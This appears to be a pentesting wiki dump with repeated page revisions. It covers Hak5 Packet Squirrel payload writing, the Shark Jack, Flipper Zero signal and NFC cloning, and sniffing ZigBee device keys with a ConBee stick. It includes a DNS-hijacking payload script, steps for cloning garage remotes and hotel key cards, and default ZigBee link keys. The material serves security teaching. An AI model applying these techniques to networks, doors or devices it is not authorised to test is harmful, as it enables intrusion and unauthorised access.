* ipv4found.txt Will contain a unique list of all the ipv4 which the pcap file contains
* maybeEmails.txt Is a very loose search for possible email addresses that came across the wire in plain text.

=== Creating your own Payloads ===

Ducky Script is the payload language of Hak5 and consists of several simple commands specific to the Packet Squirrel hardware and bash. The basic Ducky Script commands are describe below and include NETMODE, LED, BUTTON and SWITCH.

The Packet Squirrel allows us to create our own attack payloads by loading them to the USB stick and naming them Switch1 to Switch3.
It allows as to create payload in python, bash or PHP. For Python and Bash it is important to use the interpreter directive Python: <code>#!/usr/bin/python</code>, bash: <code>#!/usr/bin/bash</code>.
Bash scripts can access the following pre-installed tools:
openvpn, autossh, tcpdump, meterpreter-https, cron, nmap, ncat-ssl, ncat, sshfs, tcpdump and wget

The featured Squirrel Script offers the following additional commands:

* NETMODE
specifies which network mode Packet Sqirrel uses and how traffic is routed

{| class="wikitable"
|-
! Command !! Description
|-
| NETMODE BRIDGE || Creates a bridge between the IN and OUT ehternet interface, with an own IP address for Packet Sqirrel
|-
| NETMODE TRANSPARENT || Also creates a bridge between the interfaces but with no own IP address
|-
| NETMODE NAT || Packet Squirrel gets an IP address from the target network, the client gets an IP from Packet Squirrel
|-
| NETMODE VPN || same as NAT with VPN interface for client tunneling
|-
| NETMODE CLONE || Clones the MAC address from the target client and uses it to connect to the LAN
|}

* LED
with this command the multi-color LED can be controlled.

Further information regarding the LED, its colors, patterns and states can be found [https://docs.hak5.org/hc/en-us/articles/360010554653-LED here].

{| class="wikitable"
|-
! Possible configurations !! Description
|-
| LED Colors || red, green, blue, yellow, cyan, magenta, white
|-
| LED Patterns || SOLID, SLOW, FAST, SINGLE, DOUBLE, TRIPLE, SUCCESS, 1-10000
|-
| LED State || SETUP, FAIL, ATTACK, STAGE, SPECIAL, CLEANUP, FINISH
|}

* BUTTON
The BUTTON command pauses the paylpoad until the hardware button is pressed or a specified time has passed.

Further information regarding the Ducky Script’s “Button” command like its return value, possible ways of configuring the wait time, LED color during the pause as well as the option to suppress the LED can be found [https://docs.hak5.org/hc/en-us/articles/360010554673-BUTTON here].

* SWITCH
The SWITCH command returns the current position of the hardware payload selection switch. Output is "switch1", "switch2", "switch3" or "switch4".

==== Example and Best Practices ====
[[File:Hak5 C2 start.jpg |thumb|right|400px||C2 server start]]
[[File:Hak5 c2 dashboard.jpg |thumb|right|400px||C2 Dashboard]]
[[File:Hak5 c2 sqirrel.jpg |thumb|right|400px||C2 Packet Squirrel]]

As shown below, payloads should begin with comments specifying the name of the payload, a description, the author(s), the target, special requirements, category, netmodes and the LED status.

Configurable options should be placed on the top of the payload file.

The LED should be used regarding common payload states and not with unique pattern combinations. The LED command should precede the NETMODE command indicating a specific state like SETUP or even FAIL if specific conditions are not met. If a payload reaches a FINISH state, the Packet Squirrel is safe to power off.

Here is an example for the usage of Squirrel Script.

<syntaxhighlight lang="bash">
# Title: Caternet
# Author: Hak5Darren
# Version: 1.0
# Description: Forwards all traffic to local webserver hosting cat photos.
# Props: In loving memory of Hak5Kerby

LED SETUP
NETMODE NAT
echo "address=/#/172.16.32.1" > /tmp/dnsmasq.address
/etc/init.d/dnsmasq restart

LED ATTACK
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
python -m SimpleHTTPServer 80
</syntaxhighlight>

For more information go to the [https://docs.hak5.org/hc/en-us/sections/360002180414-Payload-Development hak5.org webpage].

== with Cloud C2 ==

The [https://docs.hak5.org/hc/en-us/categories/360001177114-Cloud-C2 Hak5 Cloud C2] is a command and control server for Hak5 devices. Installation and startup is shown in figure "C2 server start". By browsing to the configured address you can login to the dashboard, shown in figure "C2 dashboard".

To connect the Packet Squirrel with your C2 Cloud, click on the plus button in the lower right corner and choose the device. On the dashboard, open the added device and click on Setup, as shown in figure "C2 Packet Sqirrel". Then copy the downloaded file to the Packet Squirrel's /etc folder and reboot it.
In the Overview tab you can also Edit, Reboot, Wipe and Remove your device.

In the Clients tab you can see all clients which were connected to your Packet Squirrel with hostname, MAC and IP address. In the Loot tab, you can open the current loot from your Packet Squirrel directly on your C2 server. And in the Terminal tab you can open a ssh session to your device.

== Used Hardware ==

[[Packet Squirrel + Field Guide]]

== References ==

* https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel
* https://docs.hak5.org/hc/en-us/categories/360001177114-Cloud-C2
* https://docs.hak5.org/hc/en-us/articles/360010554613-Ducky-Script-for-Packet-Squirrel
* https://downloads.hak5.org/
* https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads/library

[[Category:Pentesting]]

Hak5 Shark Jack

2023-08-17T07:43:48Z

ARessl: Added Used Hardware Link

== Summary ==
[[File:Shark_Jack.jpg |thumb|right|600px||Shark Jack]]

The Shark Jack is a penetration tool for penetration testers and system administrators looking like a simple USB-Stick. It consists of three main components: a LAN-Port for configuration and executing pentests (which also uses a RGB-LED for visual responses), a USB-C port for charging and a slider to change modes. It provides possibilities to perform network audits and information gathering attacks. These functions are provided by the packages which are installed on the Shark Jack. The packages are provided by the OpenWRT platform, which means that users can add other packages than the preinstalled ones. Regarding the phases of penetration testing, Shark Jack is in phase 2, information gathering.

== Description ==

=== Modes ===

* OFF (Slider is in position nearest to USB-C) - charging
* Arming (Slider is in middle position) - configurating
* Attack (Slider is in position nearest to LAN) - pentesting

=== Setting up the Shark Jack ===

# Change mode to arming.
# Plug the Shark Jack into one of the LAN ports of your computer.
# Your PC will get an IP-address in range 172.16.24.0/24.
# Connect via SSH to 172.16.24.1.
# You are now connected to the Shark Jack.

=== Folder structure ===

The Shark Jack folder structure consists of two predefined directories:
* payloads
* loot
The payloads directory is the place where the code is located which you want to be executed when the Shark Jack is in Attacking Mode. The filename of the code needs to be <code>payload.sh</code>. Only one payload script may exist at a time. The loot directory is the place where you can save the results of the network attack.

=== Installing/updating packages (optional) ===

# [[#Setting_up_the_Shark_Jack|Connect]] to your Shark Jack to your PC.
# Enter the command <code>NETMODE DHCP_CLIENT</code>
# The Shark Jack will now act as a normal client waiting for an IP-address from an DHCP-Server.
# Connect the Shark Jack to your router.
# Gather the IP-addres of the Shark Jack (Web interface of the router or form the DCHCP-Server).
# Connect via SSH to the new IP addres (e.g., 192.168.0.153).
# Use <code>opkg upgrade [package]</code> for updating packages or <code>opkg install[package]</code> for installing new packages.

=== Updating firmware (optional) ===

# Download latest update from https://downloads.hak5.org/shark
# [[#Setting_up_the_Shark_Jack|Connect]] to your Shark Jack to your PC and also connect the USB-C port to a reliable power source.
# Copy the firmware file to the Shark Jack (e.g., with scp)
# Change to the directory where the firmware file is located.
# Execute following command <code>sysupgrade -n [filename]</code>
# Wait 5-10 minutes while the firmware is flashed.
# DO NOT unplug the Shark Jack during the update process!

=== C2 ===

C2 is a dashboard created by hak5 for tools from hak5, which can be easily set up on a local server for free. With C2, data can be inspected directly in the dashboard and the current state of the device can be viewed. It is also possible to let Shark Jack execute commands like nmap without a previously uploaded payload.

=== Hardware ===

# Size: 62 x 21 x 12 mm
# Charging plug: USB-C
# Microcontroller: MT7628DAN

=== How to attack ===

# Shark Jack must be connected to a router or a switch to perform an attack

=== How to defend ===

# Routers and switches must not be accessible to unauthorized personnel
# Do not allow strangers to enter the company without supervision
# Disable unused ports
# Physically inspect routers and switches on a regular basis

== Examples ==

=== nmap ===
The nmap payload is the default payload with which the Shark Jack is delivered.
It executes a nmap scan and saves the results in the loot directory.

=== ipinfo ===
The ipinfo payload tries to gather information about private, public and gateway IP addresses of a network and saves the results in a log-file.
To obtain this information the external website http://ipinfo.io/ip is used.

=== netdiscover ===
The netdiscover payload tries to gather information about a network even if the Shark Jack won't get an IP address from a DCHP-Server. There are two modes netdiscover can use: active and passive. In active mode netdiscover sends ARP packages into the network and tries to gather information about devices, which are currently online. The passive mode doesn't send packages on his own, instead it analyses the traffic of the network (see [[Sniffing_Devices]]).

== Used Hardware ==

[[Shark Jack network attack tool]]

== References ==

* https://hak5.org/products/shark-jack
* https://github.com/hak5/sharkjack-payloads/
* https://help.hak5.org/shark-jack/writing-payloads/included-tools
* [https://github.com/hak5/sharkjack-payloads/tree/master/payloads/library/recon/netdiscover nmap Github]
* [https://github.com/hak5/sharkjack-payloads/blob/master/payloads/library/recon/ipinfo/payload.sh ipinfo Github]
* [https://github.com/hak5/sharkjack-payloads/tree/master/payloads/library/recon/netdiscover netdiscover Github]

[[Category:Pentesting]]

Flipper Zero

2023-04-16T15:26:07Z

ARessl: rubber ducky link added

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* Audio Players
* Projectors
* Air Conditioners

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a [https://wiki.elvis.science/index.php?title=Hak5_Rubber_Ducky Rubber Ducky], it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

=== Applications ===

Applications are for a more special use of the Flipper Hardware for example to fetch and decode the signal from a weather station or use the PicoPass NFC protocol.
Another example would be the Bluetooth remote, which can control devices using the Bluetooth standard.
Furthermore, there is also a pre-installed game on the device, namely Snake.

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-04-16T15:25:00Z

ARessl: /* U2F */

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* Audio Players
* Projectors
* Air Conditioners

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

=== Applications ===

Applications are for a more special use of the Flipper Hardware for example to fetch and decode the signal from a weather station or use the PicoPass NFC protocol.
Another example would be the Bluetooth remote, which can control devices using the Bluetooth standard.
Furthermore, there is also a pre-installed game on the device, namely Snake.

== References ==
* https://docs.flipperzero.one/

ConBee ZigBee USB Gateway: Usage

2023-04-11T08:29:26Z

ARessl: /* Locate Packet with Symmetric Key */

== Summary ==

This is a description of how to set up and use a [[ConBee ZigBee USB Gateway]] USB stick to sniff out keys of ZigBee end point devices in smart home networks.

== Requirements ==

Operating system:
* Ubuntu 18.04
Applications:
* Wireshark
* ZShark (Interface between sniffer and Wireshark, available [https://www.phoscon.de/de/conbee/software#zshark[here]]
* Smart Home Management App, e.g. Philips Hue for Android, available in the [https://play.google.com/store/apps/details?id=com.philips.lighting.hue2[Google Play Store]]
Network traffic generating devices, e.g.
* Philips Hue Bridge
* Philips Hue White LED
Sniffing tool
* ConBee ZigBee USB Gateway

In order to complete these steps, it is recommended to be familiar with Wireshark.

== Description ==
=== Step 0: ZigBee Smart Home Provision ===
Be sure to have permission to hack into the ZigBee network you want to analyse. Even better, set up your own network to generate some traffic. Minimal requirements: 1 bridge and 1 connected smart home device, such as an LED lamp, preferably with an additional app e.g. for your phone, to control/manage the smart home devices.

=== Step 1: ConBee Setup ===
Plug ConBee into a USB Port.

==== Install firmware using ZShark ====

Open ZShark. You will see this window:

[[File:ZSharkInst.png|border|500px]]

Select "ConBee" and click "Connect".

If the dialog tells you there is "No or wrong firmware found", and pressing the "Install Firmware" button doesn't prompt you to the next dialog, make sure no other USB devices are connected to your computer and try again.

If it still doesn't change, you can also install the firmware manually. For this open a terminal and change into the ZShark-folder (that is where you have installed the application) and run this command (as root):
GCFFlasher_internal -d /dev/ttyUSB0 -f /usr/share/zshark/fw/sniffer_v1_0.bin
where
# ''/dev/ttyUSB0'' is the path to your device
# ''/usr/share/zshark/fw/sniffer_v1_0.bin'' is the path to the firmware you want to install
Both paths are the absolute paths, and they may certainly differ from this solution. Make sure you look up the correct paths on your own system and use them accordingly.

If everything worked fine, you should see a dialogue like this

[[File:ZSharkReady.png|border|500px]]

where the path in the COM port identifier shows you the sniffer was detected correctly.

The remote capture IP is to use if you decide to send the captured data to Wireshark on another machine. In my case this was not necessary, as I used Wireshark on the same device.

==== Choose ZigBee channel ====

Channel 11 is the default ZigBee channel, so there you find your traffic unless you configured your network otherwise (in that case you obviously change it to the applicable channel).

'''Start capturing packets with "Start".'''

You should see the number identified by "Received Packets" in the dialogue to increase immediately.

=== Step 2: Wireshark Configuration ===
Open Wireshark.

==== Select interface ====
Choose the loopback interface. This is where ZShark sends packets by default.

[[File:WiresharkInterfaces.png|border|500px]]

Leave the input field for capture filter empty.

==== Apply display filter ====

udp.port==17754 && !icmp

* UDP because our ZigBee devices rely on this protocol
* Port 17754 is designated for ZigBee packets
* And we don't need the ICMP output for our analysis
It won't do no harm if you forget to apply the filter, though you will get packets displayed you won't be interested in. You can also apply it afterwards or add additional filters to easier find specific packets.

==== Add symmetric key of bridge ====

Go to:

Edit > Preferences > Protocols > ZigBee

[[File:WiresharkPreferences.png|Border|500px]]

Leave the Security Level in its default value (AES-128 Encryption, 32-bit Integrity Protection). Choose ''Edit'' at "Pre-configured keys" and add the key of your bridge, which in most cases is
5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39
or, in this case using the '''Philips Hue Bridge''', is
81:42:86:86:5D:C1:C8:B2:C8:CB:C5:2E:5D:65:D1:B8
as these are mostly universal default keys so that communication in ZigBee networks can be established with lots of different devices from different vendors without further ado.

Another possible key, if the other two do not work as intendend would be
9F:55:95:F1:02:57:C8:A4:69:CB:F4:2B:C9:3F:EE:31

In both cases, choose the Byte Order "Normal".

Without the brigde key, you are still able to capture traffic, though you will not get access to additional information, or important insight into the payload respectively. For example, you would not be able to display the end-point device keys, which will be explained in the next step.

'''Start capturing the packets in Wireshark as well.'''

=== Step 3: Wireshark Network Traffic Analysis ===

Now you will see traffic similar to this:

[[File:WiresharkTraffic2.jpg|border|750px]]

It shows there was data broadcasted, unfortunately without any further details. The circled output shows contained data is encrypted.

==== Locate Packet with Symmetric Key ====
To get hold of an end-point device key in a ZigBee network, look out for specific packets. A device newly entering a network sends its key decrypted until it is established and ingested into the network by the bridge. If you have configured the bridge key correctly, you should see a new device advertising its symmetric key in packets which are tagged as '''"Device Announcement"''' in the information column of Wireshark (although there are other packets as well with visible key, this is the first one where this happens).

[[File:WiresharkDA.png|border|750px]]

To simulate a device entering into a network, you have to reset it. With the light bulb, I simply disconnected it from its socket and re-attached it. Switching the light on and off won't help, it has to be taken off the electricity completely.

In newer versions of ZigBee it could happen, that the '''"Device Announcement"'''does not get send as usual when reconnecting after a power loss (socket disconnection). In this case try to remove the light bulb manually from the App and reconnect it.

==== Add end-point device key in Wireshark ====
Go to:

Edit > Preferences > Protocols > ZigBee

and add the key with Byte Order "Normal".

From this point on, you are able to see all information, as you can adequatly decrypt it.

[[File:WiresharkTrafficDecr.png|Border|750px]]

This is the same packet as the first one in this section, only with added key. As you can see, the payload is now clearly visible, and it shows detailed information about the transported commands.

== Used Hardware ==

[[ConBee ZigBee USB Gateway]]

[[Philips Hue Bridge 2.0, Gateway]]

[[Philips Hue White LED E27 9.5W/827, white]]

== Courses ==

* (nothing here yet)

== References ==

* https://www.phoscon.de/de/conbee/software#zshark
* https://play.google.com/store/apps/details?id=com.philips.lighting.hue2

[[Category:Documentation]]

ConBee ZigBee USB Gateway: Usage

2023-04-11T08:27:28Z

ARessl: New key added

== Summary ==

This is a description of how to set up and use a [[ConBee ZigBee USB Gateway]] USB stick to sniff out keys of ZigBee end point devices in smart home networks.

== Requirements ==

Operating system:
* Ubuntu 18.04
Applications:
* Wireshark
* ZShark (Interface between sniffer and Wireshark, available [https://www.phoscon.de/de/conbee/software#zshark[here]]
* Smart Home Management App, e.g. Philips Hue for Android, available in the [https://play.google.com/store/apps/details?id=com.philips.lighting.hue2[Google Play Store]]
Network traffic generating devices, e.g.
* Philips Hue Bridge
* Philips Hue White LED
Sniffing tool
* ConBee ZigBee USB Gateway

In order to complete these steps, it is recommended to be familiar with Wireshark.

== Description ==
=== Step 0: ZigBee Smart Home Provision ===
Be sure to have permission to hack into the ZigBee network you want to analyse. Even better, set up your own network to generate some traffic. Minimal requirements: 1 bridge and 1 connected smart home device, such as an LED lamp, preferably with an additional app e.g. for your phone, to control/manage the smart home devices.

=== Step 1: ConBee Setup ===
Plug ConBee into a USB Port.

==== Install firmware using ZShark ====

Open ZShark. You will see this window:

[[File:ZSharkInst.png|border|500px]]

Select "ConBee" and click "Connect".

If the dialog tells you there is "No or wrong firmware found", and pressing the "Install Firmware" button doesn't prompt you to the next dialog, make sure no other USB devices are connected to your computer and try again.

